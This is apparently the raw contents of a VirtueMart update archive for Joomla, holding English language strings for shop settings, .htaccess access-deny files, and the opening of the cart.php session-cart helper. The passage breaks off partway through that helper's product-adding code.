COM_VIRTUEMART_ADMIN_ONCHECKOUT_CHANGE_SHOPPER_TIP="This option allows administrators to change the current shopper. The user session will be changed to the selected user and the original admin user ID is stored as created_by in the order table. This is usefull if you want to place an order on behalf of your customer in the FE, for which you need full access to the shopper's address(es)." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Only registered users can checkout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="This option let only registered users make a checkout, you should have 'On checkout, ask for registration' enabled" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="Show Terms of Service on the cart/checkout?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Store owners are required by law to inform their shoppers about return and order cancellation policies in most European countries. So this should be enabled in most cases." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Show product images" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Show mini thumbnails of the products in the cart, may break your layout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="On checkout, ask for registration" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="During the checkout process, the client can register" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Show checkout steps" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Text to display before registration page" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="Show the Recommend to a friend link?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="When enabled, a link is displayed that allows the shopper to send a recommendation email for a specific product." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="Show the Print View link?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="When enabled, a link is displayed that opens the current page in a new popup for printing it out." COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Question maximum length" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="Maximum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Question minimum length" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="Minimum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_SHOW="Allows to Ask a question" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="When enabled, a link is displayed that opens in a new popup and allows customers to send a question to the vendor" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Default category sort order" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field categories are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Default product sort order" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Defines by which field products are ordered by default on the browse pages" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Product Sort Order Settings" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Available Sort-by fields" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Choose the Sort-by fields for the browse page. Each one defines a sort method for the product browse page. If you deselect all, the Order-By-Form will not be shown." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Available Search Fields" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Choose the Search-by fields for the browse page. Each one defines a search method for the product browse page. If you deselect all, the Search-Form will not be shown." COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="Enable content plugins in descriptions?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="If enabled, product and category descriptions are parsed by all published content plugins." COM_VIRTUEMART_CFG_CURRENCY_MODULE="Select a currency converter module" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="This allows you to select a certain currency converter module. Such modules fetch exchange rates from a server and convert one currency into another." COM_VIRTUEMART_CFG_DELDATE_INV="Default delivery date" COM_VIRTUEMART_CFG_DELDATE_INV_TIP="Set here the default delivery date of your invoice. Common is the first option, you can override the used text, or the orderstatus shipped." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Enable this Feature" COM_VIRTUEMART_CFG_FANCY="Use Fancybox" COM_VIRTUEMART_CFG_FANCY_TIP="In case you modded your shop with a lot js, you may stay with facebox, but we suggest fancybox." COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Send low stock notification" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Sends a low stock notification if products in stock and booked are lower than the value set in the product edit" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER="Default Order Status to send email to shopper" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_SHOPPER_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR="Default Order Status to send email to vendor" COM_VIRTUEMART_CFG_OSTATUS_EMAILS_VENDOR_TIP="You can choose multiple order statuse" COM_VIRTUEMART_CFG_PAGSEQ_1="For views with 1 item per row" COM_VIRTUEMART_CFG_PAGSEQ_1_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 3,5,10,20
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_2="For 2 items per row" COM_VIRTUEMART_CFG_PAGSEQ_2_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 6,12,18,30
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_3="For 3 items per row" COM_VIRTUEMART_CFG_PAGSEQ_3_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 6,12,18,24
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_4="For 4 items per row" COM_VIRTUEMART_CFG_PAGSEQ_4_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 8,24,32,64
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_5="For 5 items per row" COM_VIRTUEMART_CFG_PAGSEQ_5_TIP="Set a list of numbers separated by commas that will be used in the list box on the frontend.
      Example: 15,50,100,150
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_PAGSEQ_BE="Backend pagination sequence" COM_VIRTUEMART_CFG_PAGSEQ_BE_TIP="Set a list of numbers separated by commas that will be used in the list box on the backend.
      Example: 15,50,100,150
      Leave empty, to use the generic pagination. Be aware the generic default is already product per row multiplied by 5,10,20,50" COM_VIRTUEMART_CFG_POOS_ENABLE="Action when a Product is Out of Stock" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="You can define here, which action should happen, when a product is out of stock" COM_VIRTUEMART_CFG_POPUP_REL="Show related products in the popup" COM_VIRTUEMART_CFG_POPUP_REL_TIP="Showing related products in the add to cart popup can increase your conversion rate" COM_VIRTUEMART_COUPONS_ENABLE="Enable Coupon Usage" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="If you enable the Coupon Usage, you allow shoppers to fill in Coupon Numbers to gain discounts on their purchase." COM_VIRTUEMART_COUPONS_EXPIRE="Default Coupon Lifetime" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="You can set a default lifetime for coupons here; they will expire the given amount of time after creation. This date can be changed per coupon." COM_VIRTUEMART_COUPONS_REMOVE="Order Status to Delete a Gift Coupon" COM_VIRTUEMART_COUPONS_REMOVE_TIP="Gift coupons will be deleted only for those order status" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS="Latest Products - Number of days to display" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS_EXPLAIN="Number of consecutive days on which latest products are being displayed" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY="Latest Products - Sort order of display" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED="Last created products first" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_EXPLAIN="Sort order of displayed latest products" COM_VIRTUEMART_LIST_LIMIT="Default items per list view" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="The standard pagination list limit for all listings, back and frontend" COM_VIRTUEMART_LIST_MEDIA="Max items listed displaying media" COM_VIRTUEMART_LIST_MEDIA_TIP="Max items displayed in the listing decide if medias are shown in the list, or not." COM_VIRTUEMART_LLIMIT_INIT_BE="Backend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_BE_TIP="The standard pagination list limit for all listings in the backend" COM_VIRTUEMART_LLIMIT_INIT_FE="Frontend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_FE_TIP="The standard pagination list limit for all listings in the frontend" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Default LWH Unit" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Set the default unit for your shop" COM_VIRTUEMART_PDF_ICON_SHOW="Show the pdf view icon?" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="Show or Hide the pdf link icon" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="Show the product navigation?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Show the product navigation on the top of the product page" COM_VIRTUEMART_RECCOMEND_UNATUH="Allow non logged-in to send a recommendation or ask a question" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="When enabled any user can send recommendation on product, ask a question, or call for price, otherwise only logged users are able to use this functions. You can enable it, but check your emails regularly, it can be misused for spam" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="Auto-Publish Reviews?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="If checked, reviews are automatically published after being posted. If not, the administrator must approve/publish them." COM_VIRTUEMART_REVIEWS_OS="Order status Review/Rating" COM_VIRTUEMART_REVIEWS_OS_TIP="Order status to enable the Review/Rating in case the option Shoppers who bought the product was selected" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Select the default template for your Shop" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Templates allow styling and customizing your shop.
      If no other templates than the 'default' one are present, you haven't installed more templates." COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW="Show uncategorised child products in search results and modules?" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW_EXPLAIN="When enabled, all products and child products will appear in search results and standard modules. When disabled, any uncategorised child products will not appear, only the parent." COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE="Enable VirtueMart 404 error handling" COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE_EXPLAIN="When VirtueMart encounters a 404 error (missing product, missing category, etc), selecting this option will redirect the user to the storefront. Leaving this unchecked will pass the error to Joomla to handle in the usual way." COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Default Weight Unit" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="Default Weight Unit used for the products. This value can be changed per product"PKtl>\)<com_virtuemart_update/administrator/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Ocom_virtuemart_update/administrator/language/en-GB/en-GB.com_virtuemart.sys.ininuW+A; VirtueMart Project" ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved." ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php" ; Note : All ini files need to be saved as UTF-8 - No BOM" ; System COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_DESCRIPTION="Welcome to VirtueMart!
      The complete Online Shopsystem for Joomla" COM_VIRTUEMART_INSTALLATION_FINISH="Basic Installation has been finished." COM_VIRTUEMART_INSTALLATION_STEP_ONE="The first step of the Installation was SUCCESSFUL" COM_VIRTUEMART_INSTALL_DONATION="Please consider a small donation to help us keep up the work on this component." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="Go to the Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Install Sample Data" COM_VIRTUEMART_MENU="VirtueMart" COM_VIRTUEMART_UNINSTALL_NOTE="Uninstall Note:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Uninstalling VirtueMart does not remove the VirtueMart tables from your database. This is done intentionally to allow for upgrading your current data to new versions of VirtueMart.
      To remove the VirtueMart tables, remove all tables with the _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Thank you for using VirtueMart!" VIRTUEMART="VirtueMart" ; components/com_virtuemart/views/cart/tmpl/default.xml COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" ; components/com_virtuemart/views/cart/tmpl/minicart.xml COM_VIRTUEMART_MINICART_DESC="Displays VirtueMart minicart" COM_VIRTUEMART_MINICART_MENU="VirtueMart mini cart" ; components/com_virtuemart/views/categories/tmpl/default.xml COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" ; components/com_virtuemart/views/category/tmpl/default.xml COM_VIRTUEMART_CATEGORY_FIELD_SELECT="Select a category" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_DESC="Creates a link to display the selected Category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Category Layout" ; components/com_virtuemart/views/manufacturer/tmpl/details.xml COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Creates a link to display the selected Manufacturer" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays a single VirtueMart manufacturer" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" ; components/com_virtuemart/views/orders/tmpl/details.xml COM_VIRTUEMART_ORDERS_LIST="List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="List All Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="List Orders" ; components/com_virtuemart/views/productdetails/tmpl/default.xml COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" ; components/com_virtuemart/views/user/tmpl/edit.xml COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Customer Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="User Edit Address" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Displays the User Edit Address" ; components/com_virtuemart/views/virtuemart/tmpl/default.xml COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Front page" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" ; components/com_virtuemart/views/recommend/tmpl/edit.xml ;COM_VIRTUEMART_RECCOMEND_MENU="VirtueMart Account Maintenance" ;COM_VIRTUEMART_RECOMMEND_MENU_DESC="Displays the VirtueMart Customer Account Maintenance" ; components/com_virtuemart/views/vendor/tmpl/ COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Select a vendor" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Select a vendor" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Displays vendor contact page" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Displays vendor contact" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Displays vendors" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Displays vendors" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Displays vendor details" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Displays vendor details" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="View vendor TOS" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="View vendor TOS" ;sub Menu COM_VIRTUEMART_MENU_CATEGORIES="Product Categories" COM_VIRTUEMART_MENU_CONFIGURATION="VirtueMart Configuration" COM_VIRTUEMART_MENU_MANUFACTURERS="Manufacturers" COM_VIRTUEMART_MENU_MEDIAFILES="Media Files" COM_VIRTUEMART_MENU_ORDERS="Orders" COM_VIRTUEMART_MENU_PAYMENTMETHODS="Payment Methods" COM_VIRTUEMART_MENU_PRODUCTS="Products" COM_VIRTUEMART_MENU_REPORT="Revenue Report" COM_VIRTUEMART_MENU_SHIPMENTMETHODS="Shipment Methods" COM_VIRTUEMART_MENU_STORE="Shop Profile" COM_VIRTUEMART_MENU_USERS="Shoppers"PKtl>\)*com_virtuemart_update/components/.htaccessnuW+A Order allow,deny Deny from all PKtl>\7@com_virtuemart_update/components/com_virtuemart/helpers/cart.phpnuW+AuseSSL = VmConfig::get('useSSL',0); $this->useXHTML = false; } /** * * @author Max Milbers * @param bool $setCart: set the Cart into Session * @param array $options : options for getSession * @param null $cartData: if not empty, do no get the cart data from session * @return null|VirtueMartCart */ public static function getCart($setCart=true, $options = array(), $cartData=NULL) { //What does this here? for json stuff? if (!class_exists('JTable') )require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'database' . DS . 'table.php'); // JTable::addIncludePath(JPATH_VM_ADMINISTRATOR . DS . 'tables'); if(empty(self::$_cart)){ if (empty($cartData)) { $session = JFactory::getSession($options); $cartSession = $session->get('vmcart', 0, 'vm'); } else { $cartSession=$cartData; } if (!empty($cartSession)) { $sessionCart = unserialize( $cartSession ); self::$_cart = new VirtueMartCart; self::$_cart->products = $sessionCart->products; self::$_cart->vendorId = $sessionCart->vendorId; self::$_cart->lastVisitedCategoryId = $sessionCart->lastVisitedCategoryId; self::$_cart->virtuemart_shipmentmethod_id = $sessionCart->virtuemart_shipmentmethod_id; self::$_cart->virtuemart_paymentmethod_id = $sessionCart->virtuemart_paymentmethod_id; self::$_cart->automaticSelectedShipment = $sessionCart->automaticSelectedShipment; self::$_cart->automaticSelectedPayment = $sessionCart->automaticSelectedPayment; self::$_cart->BT = $sessionCart->BT; self::$_cart->ST = $sessionCart->ST; self::$_cart->tosAccepted = $sessionCart->tosAccepted; self::$_cart->customer_comment = base64_decode($sessionCart->customer_comment); self::$_cart->couponCode = $sessionCart->couponCode; self::$_cart->_triesValidateCoupon = $sessionCart->_triesValidateCoupon; self::$_cart->order_language = $sessionCart->order_language; self::$_cart->cartData = $sessionCart->cartData; self::$_cart->order_number = $sessionCart->order_number; self::$_cart->lists = $sessionCart->lists; //self::$_cart->pricesUnformatted = $sessionCart->pricesUnformatted; self::$_cart->pricesCurrency = $sessionCart->pricesCurrency; self::$_cart->paymentCurrency = $sessionCart->paymentCurrency; self::$_cart->_inCheckOut = $sessionCart->_inCheckOut; self::$_cart->_dataValidated = $sessionCart->_dataValidated; self::$_cart->_confirmDone = $sessionCart->_confirmDone; self::$_cart->STsameAsBT = $sessionCart->STsameAsBT; self::$_cart->customer_number = $sessionCart->customer_number; } } if(empty(self::$_cart)){ self::$_cart = new VirtueMartCart; } if ( $setCart == true ) { self::$_cart->setPreferred(); self::$_cart->setCartIntoSession(); } return self::$_cart; } /* * Set non product info in object */ public function setPreferred() { $userModel = VmModel::getModel('user'); $user = $userModel->getCurrentUser(); if (empty($this->BT) || (!empty($this->BT) && count($this->BT) <=1) ) { foreach ($user->userInfo as $address) { if ($address->address_type == 'BT') { $this->saveAddressInCart((array) $address, $address->address_type,false); } } } if (empty($this->virtuemart_shipmentmethod_id) && !empty($user->virtuemart_shipmentmethod_id)) { $this->virtuemart_shipmentmethod_id = $user->virtuemart_shipmentmethod_id; } if (empty($this->virtuemart_paymentmethod_id) && !empty($user->virtuemart_paymentmethod_id)) { $this->virtuemart_paymentmethod_id = $user->virtuemart_paymentmethod_id; } //$this->tosAccepted is due session stuff always set to 0, so testing for null does not work if((!empty($user->agreed) || !empty($this->BT['agreed'])) && !VmConfig::get('agree_to_tos_onorder',0) ){ $this->tosAccepted = 1; } //if(empty($this->customer_number) or ($user->virtuemart_user_id!=0 and strpos($this->customer_number,'nonreg_')!==FALSE ) ){ if($user->virtuemart_user_id!=0 and empty($this->customer_number) or strpos($this->customer_number,'nonreg_')!==FALSE){ $this->customer_number = $userModel ->getCustomerNumberById(); } if(empty($this->customer_number) or strpos($this->customer_number,'nonreg_')!==FALSE){ $firstName = empty($this->BT['first_name'])? '':$this->BT['first_name']; $lastName = empty($this->BT['last_name'])? '':$this->BT['last_name']; $email = empty($this->BT['email'])? '':$this->BT['email']; $this->customer_number = 'nonreg_'.$firstName.$lastName.$email; } } /** * Set the cart in the session * * @author RolandD * * @access public */ public function setCartIntoSession() { $session = JFactory::getSession(); $sessionCart = new stdClass(); $products = array(); if ($this->products) { foreach($this->products as $key =>$product){ //Important DO NOT UNSET product_price //unset($product->product_price); //unset($product->prices); unset($product->pricesUnformatted); unset($product->mf_name); unset($product->mf_desc); unset($product->mf_url); unset($product->salesPrice); unset($product->basePriceWithTax); unset($product->subtotal); unset($product->subtotal_with_tax); unset($product->subtotal_tax_amount); unset($product->subtotal_discount); unset($product->product_price_vdate); unset($product->product_price_edate); } } // $sessionCart->products = $products; $sessionCart->products = $this->products; // echo '
      '.print_r($products,1).'
      ';die; $sessionCart->vendorId = $this->vendorId; $sessionCart->lastVisitedCategoryId = $this->lastVisitedCategoryId; $sessionCart->virtuemart_shipmentmethod_id = $this->virtuemart_shipmentmethod_id; $sessionCart->virtuemart_paymentmethod_id = $this->virtuemart_paymentmethod_id; $sessionCart->automaticSelectedShipment = $this->automaticSelectedShipment; $sessionCart->automaticSelectedPayment = $this->automaticSelectedPayment; $sessionCart->order_number = $this->order_number; $sessionCart->BT = $this->BT; $sessionCart->ST = $this->ST; $sessionCart->tosAccepted = $this->tosAccepted; $sessionCart->customer_comment = base64_encode($this->customer_comment); $sessionCart->couponCode = $this->couponCode; $sessionCart->_triesValidateCoupon = $this->_triesValidateCoupon; $sessionCart->order_language = $this->order_language; $sessionCart->cartData = $this->cartData; $sessionCart->lists = $this->lists; // $sessionCart->user = $this->user; // $sessionCart->prices = $this->prices; //$sessionCart->pricesUnformatted = $this->pricesUnformatted; $sessionCart->pricesCurrency = $this->pricesCurrency; $sessionCart->paymentCurrency = $this->paymentCurrency; //private variables $sessionCart->_inCheckOut = $this->_inCheckOut; $sessionCart->_dataValidated = $this->_dataValidated; $sessionCart->_confirmDone = $this->_confirmDone; $sessionCart->STsameAsBT = $this->STsameAsBT; $sessionCart->customer_number = $this->customer_number; if(!empty($sessionCart->pricesUnformatted)){ foreach($sessionCart->pricesUnformatted as &$prices){ if(is_array($prices)){ foreach($prices as &$price){ if(!is_array($price)){ $price = (string)$price; } } } else { $prices = (string)$prices; } } } // $pr = serialize($sessionCart->pricesUnformatted); // vmdebug('$sessionCart',$sessionCart); $session->set('vmcart', serialize($sessionCart),'vm'); } /** * Remove the cart from the session * * @author Max Milbers * @access public */ public function removeCartFromSession() { $session = JFactory::getSession(); $session->set('vmcart', 0, 'vm'); } public function setDataValidation($valid=false) { $this->_dataValidated = $valid; // $this->setCartIntoSession(); } public function getDataValidated() { return $this->_dataValidated; } public function getInCheckOut() { return $this->_inCheckOut; } public function setOutOfCheckout(){ $this->_inCheckOut = false; $this->_dataValidated = false; $this->setCartIntoSession(); } public function blockConfirm(){ $this->_blockConfirm = true; } /** * Set the last error that occured. * This is used on error to pass back to the cart when addJS() is invoked. * @param string $txt Error message * @author Oscar van Eijk */ private function setError($txt) { $this->_lastError = $txt; } /** * Retrieve the last error message * @return string The last error message that occured * @author Oscar van Eijk */ public function getError() { return ($this->_lastError); } /** * For one page checkouts, disable with this the redirects * @param bool $bool */ public function setRedirectDisabled($bool = TRUE){ $this->_redirect_disabled = $bool; } /** * Add a product to the cart * * @author RolandD * @author Max Milbers * @access public */ public function add($virtuemart_product_ids=null,&$errorMsg='') { $mainframe = JFactory::getApplication(); $success = false; $post = JRequest::get('default'); if(empty($virtuemart_product_ids)){ $virtuemart_product_ids = JRequest::getVar('virtuemart_product_id', array(), 'default', 'array'); //is sanitized then } if (empty($virtuemart_product_ids)) { $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_CART_ERROR_NO_PRODUCT_IDS', false)); return false; } $pModel = VmModel::getModel('product'); $products = array(); //Iterate through the prod_id's and perform an add to cart for each one foreach ($virtuemart_product_ids as $p_key => $virtuemart_product_id) { $quantityPost = (int) $post['quantity'][$p_key]; if($quantityPost === 0) continue; $tmpProduct = $pModel->getProduct($virtuemart_product_id, true, false,true,$quantityPost); $products[] = $tmpProduct; if ( VmConfig::get('oncheckout_show_images')){ $pModel->addImages($tmpProduct,1); } // trying to save some space in the session table $product = new stdClass(); $product -> virtuemart_manufacturer_id = $tmpProduct -> virtuemart_manufacturer_id; // $product -> mf_name = $tmpProduct -> mf_name; $product -> slug = $tmpProduct -> slug; // $product -> mf_desc = $tmpProduct -> mf_desc; // $product -> mf_url = $tmpProduct -> mf_url; $product -> published = $tmpProduct -> published; $product -> virtuemart_product_price_id = $tmpProduct -> virtuemart_product_price_id; $product -> virtuemart_product_id = $tmpProduct -> virtuemart_product_id; $product -> virtuemart_shoppergroup_id = $tmpProduct -> virtuemart_shoppergroup_id; $product -> product_price = $tmpProduct -> product_price; $product -> override = $tmpProduct -> override; $product -> product_override_price = $tmpProduct -> product_override_price; $product -> product_tax_id = $tmpProduct -> product_tax_id; $product -> product_discount_id = $tmpProduct -> product_discount_id; $product -> product_currency = $tmpProduct -> product_currency; // $product -> product_price_vdate = $tmpProduct -> product_price_vdate; // $product -> product_price_edate = $tmpProduct -> product_price_edate; $product -> virtuemart_vendor_id = $tmpProduct -> virtuemart_vendor_id; $product -> product_parent_id = $tmpProduct -> product_parent_id; $product -> product_sku = $tmpProduct -> product_sku; $product -> product_name = $tmpProduct -> product_name; $product -> product_s_desc = $tmpProduct -> product_s_desc; $product -> product_weight = $tmpProduct -> product_weight; $product -> product_weight_uom = $tmpProduct -> product_weight_uom; $product -> product_length = $tmpProduct -> product_length; $product -> product_width = $tmpProduct -> product_width; $product -> product_height = $tmpProduct -> product_height; $product -> product_lwh_uom = $tmpProduct -> product_lwh_uom; $product -> product_in_stock = $tmpProduct -> product_in_stock; $product -> product_ordered = $tmpProduct -> product_ordered; $product -> product_available_date = $tmpProduct -> product_available_date; $product -> product_availability = $tmpProduct -> product_availability; $product -> product_sales = $tmpProduct -> product_sales; $product -> product_unit = $tmpProduct -> product_unit; $product -> product_packaging = $tmpProduct -> product_packaging; $product -> min_order_level = $tmpProduct -> min_order_level; $product -> max_order_level = $tmpProduct -> max_order_level; $product -> virtuemart_media_id = $tmpProduct -> virtuemart_media_id; $product -> step_order_level= $tmpProduct ->step_order_level; if(!empty($tmpProduct ->images)) $product->image = $tmpProduct -> images[0]; $product -> categories = $tmpProduct -> categories; $product -> virtuemart_category_id = $tmpProduct -> virtuemart_category_id; $product -> category_name = $tmpProduct -> category_name; $product -> link = $tmpProduct -> link; $product -> packaging = $tmpProduct -> packaging; if (!empty($tmpProduct -> customfieldsCart) ) $product -> customfieldsCart = true; //why do we have this here? //Why reloading the product wiht same name $product ? // passed all from $tmpProduct and relaoding it second time ???? // $tmpProduct = $this->getProduct((int) $virtuemart_product_id); seee before !!! // $product = $this->getProduct((int) $virtuemart_product_id); // Who ever noted that, yes that is exactly right that way, before we have a full object, with all functions // of all its parents, we only need the data of the product, so we create a dummy class which contains only the data // This is extremly important for performance reasons, else the sessions becomes too big. // Check if we have a product if ($product) { if(!empty( $post['virtuemart_category_id'][$p_key])){ $virtuemart_category_idPost = (int) $post['virtuemart_category_id'][$p_key]; $product->virtuemart_category_id = $virtuemart_category_idPost; } $productKey = $product->virtuemart_product_id; //VmConfig::$echoDebug = true; //vmdebug('$post["customPrice"] ',$post['customPrice']); // INDEX NOT FOUND IN JSON HERE // changed name field you know exactly was this is if (isset($post['customPrice'])) { $product->customPrices = $post['customPrice']; if (isset($post['customPlugin'])){ //if(!class_exists('vmFilter'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmfilter.php'); if(!is_array($post['customPlugin'])){ $customPlugins = (array) $post['customPlugin']; } else { $customPlugins = $post['customPlugin']; } foreach($customPlugins as &$customPlugin){ if(is_array($customPlugin)){ foreach($customPlugin as &$customParams){ if(is_array($customParams)){ foreach($customParams as &$customParam){ /* the plugin returned an array of values */ if(is_array($customParam)){ foreach ($customParam as &$customParamItem) { $value = JComponentHelper::filterText($customParamItem); $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', 